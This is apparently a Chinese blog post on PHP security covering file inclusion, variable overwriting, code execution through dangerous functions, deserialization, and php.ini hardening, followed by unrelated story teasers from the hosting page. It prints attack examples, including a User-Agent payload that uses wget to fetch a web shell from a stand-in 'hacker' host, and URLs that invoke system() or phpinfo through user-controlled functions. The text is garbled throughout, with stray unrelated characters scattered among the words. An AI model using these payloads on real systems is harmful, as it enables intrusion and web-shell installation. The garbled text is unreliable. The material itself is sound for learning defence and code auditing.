PHP安全

??時(shí)至今日,PHP是一種非常流行的web開發(fā)語言免绿,但PHP語言的安全問題也很多唧席,而且PHP語言的安全問題有其自身語言的一些特點(diǎn)。

文件包含漏洞

??在互聯(lián)網(wǎng)的安全歷史中嘲驾,PHP的文件包含漏洞已經(jīng)臭名昭著了淌哟,因?yàn)樵诟鞣N各樣的PHP應(yīng)用中挖出的文件包含漏洞數(shù)不勝數(shù),且后果都很嚴(yán)重辽故。
??代碼注入攻擊的原理是注入一段用戶能控制的腳本或代碼徒仓,并讓服務(wù)器端執(zhí)行。代碼注入的典型代表就是文件包含(file inclusion)誊垢。文件包含可能會(huì)出現(xiàn)在JSP掉弛、PHP、ASP等語言中彤枢,常見的導(dǎo)致文件包含的函數(shù)如下:

PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...

??文件包含是PHP的一種常見用法:主要有四個(gè)函數(shù):

include()
require()
include_once()
require_once()

??當(dāng)用這四個(gè)函數(shù)包含一個(gè)新的文件時(shí)狰晚,該文件將作為PHP代碼執(zhí)行,PHP內(nèi)核并不會(huì)在意該被包含的文件是什么類型缴啡。所以如果被包含的是txt文件、圖片文件瓷们、遠(yuǎn)程URL业栅,也都將作為PHP代碼執(zhí)行。這一特性谬晕,在實(shí)施攻擊時(shí)將非常有作用碘裕。
??成功利用文件包含漏洞,需要滿足兩個(gè)條件:

  • 1.include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件攒钳;
  • 2.用戶能夠控制該動(dòng)態(tài)變量帮孔。

本地文件包含

??能夠打開并包含本地文件的漏洞,被稱為貝本地件包含漏洞(local file inclusion,簡(jiǎn)稱LFI)
??關(guān)鍵詞:

  • 字符串截?cái)啵篜HP0字節(jié)(\x00作為字符串結(jié)束符不撑;
  • 操作系統(tǒng)對(duì)目錄最大長(zhǎng)度限制文兢,超過最大長(zhǎng)度之后的字符將被拋棄(Windows256字節(jié)、Linux4096字節(jié))
  • 目錄遍歷:諸如使用了../../../這樣的方式來返回到上層目錄中的方式焕檬,再利用時(shí)可以以編碼的方式繞過安全檢測(cè)姆坚;
  • open_basedir:其作用是限制在某個(gè)特定目錄下PHP能打開的文件,需要注意的是open_basedir的值是目錄前綴实愚,列:open_basedir=/home/app/aaa限制目錄為/home/app(Windows下多個(gè)目錄用分號(hào)隔開兼呵,Linux下用冒號(hào)隔開)兔辅。

遠(yuǎn)程文件包含

??如果PHP的配置選項(xiàng)allow_url_include為ON的話,則include/require函數(shù)是可以加載遠(yuǎn)程文件的击喂,這種漏洞被稱為遠(yuǎn)程文件包含漏洞(remote file inclusion维苔,簡(jiǎn)稱RFI)

本地文件包含的利用技巧

??

  • 包含用戶上傳的文件;
  • 包含data://或php://input等偽協(xié)議懂昂;
    偽協(xié)議如php://input蕉鸳、data://等需要服務(wù)器支持,同時(shí)要求allow_url_include設(shè)置為ON忍法。
  • 包含Session文件潮尝;
    包含Session文件的條件需要攻擊者能控制部分session文件內(nèi)容。
  • 包含日志文件饿序,比如web server的access log勉失;
    包含日志文件是一種比較通用的技巧。因?yàn)榉?wù)器一般都會(huì)往web server的access_log里記錄客戶端的請(qǐng)求消息原探,在error_log中記錄出錯(cuò)的請(qǐng)求乱凿。因此攻擊者可以間接的將PHP代碼寫入到日志文件中,在文件包含時(shí)咽弦,只需要包含日志文件即可徒蟆。(日至文件每天更新,在凌晨時(shí)完成型型,能夠提高效率)
  • 包含/proc/self/environ文件
    包含/proc/self/environ是一種更為通用的方法段审,他不需要猜測(cè)被包含文件的路徑,同時(shí)用戶能控制他的內(nèi)容闹蒜,可以看到web進(jìn)程運(yùn)行時(shí)的環(huán)境變量寺枉,其中很多都是用戶可控的,最常用的方法是在User_Agent中注入PHP代碼绷落,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>

??以上這些方法姥闪,都要求PHP能夠包含這些文件,而這些文件往往處于web目錄之外砌烁,如果PHP配置了open_basedir,則很可能使得攻擊無效筐喳。

  • 包含上傳的臨時(shí)文件(RFC1867)。
    但是PHP創(chuàng)建的上傳臨時(shí)文件函喉,往往處于PHP允許訪問的目錄范圍內(nèi)避归。包含這個(gè)臨時(shí)文件的方法,其理論意義大于實(shí)際意義函似。
    PHP會(huì)為上傳文件創(chuàng)建臨時(shí)文件槐脏,其目錄在php.ini的upload_tmp_dir中定義。但該值默認(rèn)為空撇寞,此時(shí)在Linux系統(tǒng)下會(huì)使用/tmp目錄顿天,在Windows下會(huì)使用C:\windows\tmp目錄堂氯。該臨時(shí)文件的文件名是隨機(jī)的,攻擊者必須準(zhǔn)確的猜測(cè)出該文件名才能成功利用漏洞牌废。(可以暴力破解咽白,Windows下僅有65535種不同的文件名)
  • 包含其他應(yīng)用創(chuàng)建的文件,比如數(shù)據(jù)庫文件鸟缕、緩存文件晶框、應(yīng)用日志等。

變量覆蓋漏洞

全局變量覆蓋

??變量如果未被初始化懂从,且能被用戶所控制授段,那么很可能會(huì)導(dǎo)致安全問題番甩,在PHP中侵贵,這種情況在register_globals為ON時(shí)尤為嚴(yán)重。register_globals為ON時(shí)缘薛,變量來源可能是各個(gè)不同的方向窍育,比如頁面的表單、cookie等宴胧,當(dāng)用戶能夠控制變量來源是漱抓,無論變量有沒有被初始化,都將造成一些安全隱患恕齐。

extract()變量覆蓋

??extract()函數(shù)能將變量從數(shù)組導(dǎo)入當(dāng)前的符號(hào)表乞娄,其函數(shù)定義如下:

int extract(array $var_array [, int $extract_type [, string $prefix]])

??其中第二個(gè)參數(shù)指定函數(shù)將變量導(dǎo)入符號(hào)表時(shí)的行為,最常見的兩個(gè)值是“EXTR_OVERWRITE”和“EXTR_SKIP”檐迟。當(dāng)值為“EXTR_OVERWRITE”時(shí)补胚,再將值導(dǎo)入符號(hào)表的過程中,如果變量名發(fā)生沖突追迟,則覆蓋已有變量;當(dāng)值為“EXTR_SKIP”則表示跳不過覆蓋骚腥。若第二個(gè)參數(shù)未指定敦间,則默認(rèn)為“EXTR_OVERWRITE”。
??一種較為安全的做法是確定register_globals=OFF后束铭,在調(diào)用extract()時(shí)使用EXTR_SKIP保證已有變量不被覆蓋廓块。(extract()的來源不能被用戶控制)
??在PHP中是由php.ini中的variables_order所定義的順序來獲取變量的。

遍歷初始化變量

??常見的一些以遍歷的方式釋放變量的代碼契沫,可能會(huì)導(dǎo)致變量覆蓋带猴。在代碼審計(jì)時(shí)需要注意類似“$$k”的變量賦值方式有可能覆蓋已有變量,從而導(dǎo)致一些不可控制的結(jié)果懈万。

import_request_variables變量覆蓋

bool import_request_variables(string $type [, string $prefix])

import_request_variables()將GET拴清、POST靶病、Cookie中的變量導(dǎo)入到全局,使用這個(gè)函數(shù)只需要簡(jiǎn)單的指定類型即可口予。

parse_str()變量覆蓋

&emsp;&emsp;void parse_str(string $str [,array &$arr])

??parse_str()函數(shù)往往被用于解析URL的querystring娄周,但是當(dāng)參數(shù)值能被用戶控制時(shí),很可能導(dǎo)致變量覆蓋沪停。如果指定了parse_str()的第二個(gè)參數(shù)煤辨,則會(huì)將query string中的變量解析后存入該數(shù)組變量中。因此在使用parse_str()時(shí)木张,應(yīng)盡量指定第二個(gè)參數(shù)众辨。與parse_str()相似的函數(shù)還有mb_parse_str()。
??安全建議:
1.確保register_globals=OFF舷礼。若不能定義php.ini鹃彻,則在代碼中控制
2.熟悉可能造成變量覆蓋的函數(shù)和方法,檢查用戶是否能控制變量的來源且轨。
3.盡可能的初始化變量浮声。

代碼執(zhí)行漏洞

??PHP代碼執(zhí)行的兩個(gè)關(guān)鍵條件:

  • 第一是用戶能夠控制的函數(shù)輸入;
  • 第二是存在可以執(zhí)行代碼的危險(xiǎn)函數(shù)旋奢。

”危險(xiǎn)函數(shù)“執(zhí)行代碼

??文件包含漏洞是可以引起代碼執(zhí)行的泳挥。但在PHP中,能夠執(zhí)行代碼的方式遠(yuǎn)不止文件包含漏洞一種至朗,比如危險(xiǎn)函數(shù)popen()屉符、system()、passthru()锹引、exec()等都可以執(zhí)行系統(tǒng)命令矗钟。此外,eval()函數(shù)也可執(zhí)行PHP代碼嫌变。還有一些比較特殊的情況吨艇,比如允許用戶上傳PHP代碼,或者是應(yīng)用寫入到服務(wù)器的文件內(nèi)容和文件類型可以由用戶控制腾啥,都可能導(dǎo)致代碼執(zhí)行东涡。
挖掘漏洞的過程,通常需要先找到危險(xiǎn)函數(shù)倘待,然后回溯函數(shù)的調(diào)用過程疮跑,最終看在整個(gè)調(diào)用過程中用戶是否有可能控制輸入。

”文件寫入“執(zhí)行代碼

??在PHP中對(duì)文件的操作一定要謹(jǐn)慎凸舵,如果文件操作的內(nèi)容用戶可以控制祖娘,則也極容易成為漏洞。

其他執(zhí)行代碼方式

直接執(zhí)行代碼的函數(shù)

??PHP中有不少可以直接執(zhí)行代碼的函數(shù)啊奄,比如:eval()渐苏、assert()掀潮、system()、exec()0整以、shell_exec()胧辽、passthru()、escapeshellcmd()公黑、pcntl_exec()等邑商。一般來說最好在PHP中禁用這些函數(shù),在審計(jì)代碼時(shí)則可以檢查代碼中是否存在這些函數(shù)凡蚜,然后回溯危險(xiǎn)函數(shù)的調(diào)用過程人断,看用戶是否可以控制輸入。

文件包含

??文件包含漏洞也是代碼注入的一種朝蜘,需要高度關(guān)注能夠包含文件的函數(shù):include(),include_once(),require(),require_once()恶迈。

本地文件寫入

??常見的能夠往本地文件里寫入內(nèi)容的函數(shù)有file_put_contents(),fwrite(),fputs()等。寫入文件的功能可以和文件包含谱醇、危險(xiǎn)函數(shù)暇仲、執(zhí)行等漏洞結(jié)合,最終使得原本用戶無法控制的輸入變成可控副渴。在代碼審計(jì)時(shí)要注意這種”組合類“漏洞奈附。

preg_replace()代碼執(zhí)行

??preg_replace()的第一個(gè)參數(shù)如果存在/e模式修飾符,則允許代碼執(zhí)行煮剧。當(dāng)?shù)谝粋€(gè)參數(shù)中沒有沒有/e模式修飾符時(shí)斥滤,也是有可能執(zhí)行代碼的,這要求在第一個(gè)參數(shù)中包含變量勉盅,并且用戶可控制佑颇,有可能通過注入/e%00的方式截?cái)辔谋荆⑷?e草娜。

<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>

動(dòng)態(tài)函數(shù)執(zhí)行

??用戶自定義的動(dòng)態(tài)函數(shù)可以導(dǎo)致代碼執(zhí)行挑胸。需要注意如下情況:

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

??這種寫法近似于后門,將直接導(dǎo)致代碼執(zhí)行宰闰,比如:

http://www.example.com/index.php?dyn_func=system&argument=uname

Curly Syntax

??PHP的Curly Syntax也能導(dǎo)致代碼執(zhí)行嗜暴,他將執(zhí)行花括號(hào)間的代碼,并將結(jié)果替換回去议蟆,如:

<?php
$var = "I Love You ${'ls'}";
?>

??ls命令將列出本地目錄的文件

回調(diào)函數(shù)執(zhí)行代碼

??很多函數(shù)都可以執(zhí)行回調(diào)函數(shù),當(dāng)回調(diào)函數(shù)用戶可控時(shí)萎战,將導(dǎo)致代碼執(zhí)行咐容。

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>

攻擊payload如下:

http://www.example.com/index.php?callback=phpinfo

unserialize()導(dǎo)致代碼執(zhí)行

??unserialize()代碼執(zhí)行有兩個(gè)條件:

  • unserialize()的參數(shù)用戶可以控制,這樣可以構(gòu)造出需要反序列化的數(shù)據(jù)結(jié)構(gòu)蚂维;
  • 存在_destruct()函數(shù)或者_(dá)wakeup()函數(shù)戳粒。這兩個(gè)函數(shù)實(shí)現(xiàn)的邏輯決定了能執(zhí)行什么樣的代碼路狮。

定制安全的PHP環(huán)境

??推薦php.ini中一些安全參數(shù)的配置:

  • register_globals
    當(dāng)register_globals=ON時(shí),PHP不知道變量從何而來蔚约,也容易出現(xiàn)一些變量覆蓋的問題奄妨。因此從最佳實(shí)踐的角度,強(qiáng)烈建議設(shè)置register_globals=OFF苹祟,改設(shè)置在最新版本的PHP中默認(rèn)設(shè)置砸抛。
  • open_basedir
    open_basedir可以限制PHP只能操作指定目錄下的文件。這在對(duì)抗文件包含树枫、目錄遍歷等攻擊時(shí)非常有用直焙。
    open_basedir = /home/web/1/
    
  • allow_url_include
    為了對(duì)抗遠(yuǎn)程文件包含,關(guān)閉此選項(xiàng)砂轻,一般PHP應(yīng)用不會(huì)用到此選項(xiàng)奔誓,而且推薦關(guān)閉allow_url_fopen.
    allow_url_include = Off
    allow_url_fopen = Off
    
  • display_errors
    錯(cuò)誤回顯,它可以暴露出非常多的敏感信息搔涝,為攻擊者下一步攻擊提供便利厨喂。推薦關(guān)閉
    display_errors = Off
    
  • log_errors
    在正常環(huán)境下使用,把錯(cuò)誤信息記錄在日志里庄呈,正好可以關(guān)閉錯(cuò)誤回顯:
    log_errors = On
    
  • magic_quotes_gpc
    推薦關(guān)閉蜕煌,他并不值得依賴,已知已經(jīng)有若干種方法可以繞過它抒痒,甚至由于他的存在反而衍生出了一些新的安全問題幌绍。XSS、SQL注入等漏洞故响,都應(yīng)該由應(yīng)用在正確的地方解決傀广,同時(shí)關(guān)閉它還能提高性能。
    magic_quotes_gpc = Off
    
  • cgi.fix_pathinfo
    若PHP以CGI的方式安裝彩届,則需要關(guān)閉此項(xiàng)伪冰,以避免出現(xiàn)文件解析問題
    cgi.fix_pathinfo = 0
    
  • session.cookie_httponly
    開啟httponly
    session.cookie_httponly = 1
    
  • session.cookie_secure
    若是全站HTTPS則請(qǐng)開啟此項(xiàng)。
    session.cookie_secure = 1
    
  • safe_mode && disable_functions
    PHP的安全模式是否被開啟一直有爭(zhēng)議樟蠕,因?yàn)樗梢员焕@過贮聂,disable_functions函數(shù)能夠在PHP中禁用一些函數(shù)。共享環(huán)境中(比如:APP Engine)則建議開啟safe_mode,并和disable_functions函數(shù)配合使用;單獨(dú)的應(yīng)用環(huán)境乐严,則可以考慮關(guān)閉safe_mode履恩,利用disable_functions控制運(yùn)行環(huán)境安全。

小結(jié)

??PHP是一門被廣泛使用的web開發(fā)預(yù)言,它的語法和使用方式非常的靈活式塌,這也導(dǎo)致了PHP代碼安全評(píng)估的難度相對(duì)較高书在,PHP的安全問題相對(duì)較多甘穿。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末腮恩,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子温兼,更是在濱河造成了極大的恐慌秸滴,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,204評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件募判,死亡現(xiàn)場(chǎng)離奇詭異荡含,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)兰伤,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門内颗,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人敦腔,你說我怎么就攤上這事均澳。” “怎么了符衔?”我有些...
    開封第一講書人閱讀 164,548評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵找前,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我判族,道長(zhǎng)躺盛,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,657評(píng)論 1 293
  • 正文 為了忘掉前任形帮,我火速辦了婚禮槽惫,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘辩撑。我一直安慰自己界斜,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,689評(píng)論 6 392
  • 文/花漫 我一把揭開白布合冀。 她就那樣靜靜地躺著各薇,像睡著了一般。 火紅的嫁衣襯著肌膚如雪君躺。 梳的紋絲不亂的頭發(fā)上峭判,一...
    開封第一講書人閱讀 51,554評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音棕叫,去河邊找鬼林螃。 笑死,一個(gè)胖子當(dāng)著我的面吹牛俺泣,可吹牛的內(nèi)容都是我干的治宣。 我是一名探鬼主播急侥,決...
    沈念sama閱讀 40,302評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼侮邀!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起贝润,我...
    開封第一講書人閱讀 39,216評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤绊茧,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后打掘,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體华畏,經(jīng)...
    沈念sama閱讀 45,661評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,851評(píng)論 3 336
  • 正文 我和宋清朗相戀三年尊蚁,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了亡笑。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,977評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡横朋,死狀恐怖仑乌,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情琴锭,我是刑警寧澤晰甚,帶...
    沈念sama閱讀 35,697評(píng)論 5 347
  • 正文 年R本政府宣布,位于F島的核電站决帖,受9級(jí)特大地震影響厕九,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜地回,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,306評(píng)論 3 330
  • 文/蒙蒙 一扁远、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧刻像,春花似錦畅买、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,898評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至纹冤,卻和暖如春洒宝,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背萌京。 一陣腳步聲響...
    開封第一講書人閱讀 33,019評(píng)論 1 270
  • 我被黑心中介騙來泰國打工雁歌, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人知残。 一個(gè)月前我還...
    沈念sama閱讀 48,138評(píng)論 3 370
  • 正文 我出身青樓靠瞎,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子乏盐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,927評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 文件包含漏洞** 本地文件包含**能打開并包含本地文件的漏洞佳窑,被稱為本地文件包含漏洞(LFI)%00截?cái)啵琾hp內(nèi)...
    Yix1a閱讀 171評(píng)論 0 0
  • 摘要:本文所討論的安全性環(huán)境是在Linux+Apache+Mysql+PHP父能。超出此范圍的安全性問題不在本文范疇之...
    guanguans閱讀 362評(píng)論 3 3
  • 每個(gè)專業(yè)的 PHP 開發(fā)者都知道用戶上傳的文件都是極其危險(xiǎn)的神凑。不論是后端和前端的黑客都可以利用它們搞事情。 大約在...
    summerbluet閱讀 1,661評(píng)論 1 12
  • 這段時(shí)間一直在寫一個(gè)整站何吝,前幾天才基本完成了溉委,所以抽個(gè)時(shí)間寫了一篇對(duì)于php安全的總結(jié)。技術(shù)含量不高爱榕,過不了也沒關(guān)...
    dreamer_lk閱讀 733評(píng)論 3 20
  • 文章轉(zhuǎn)自:https://learnku.com/php/t/24930 更多文章:https://learnku...
    summerbluet閱讀 385評(píng)論 1 12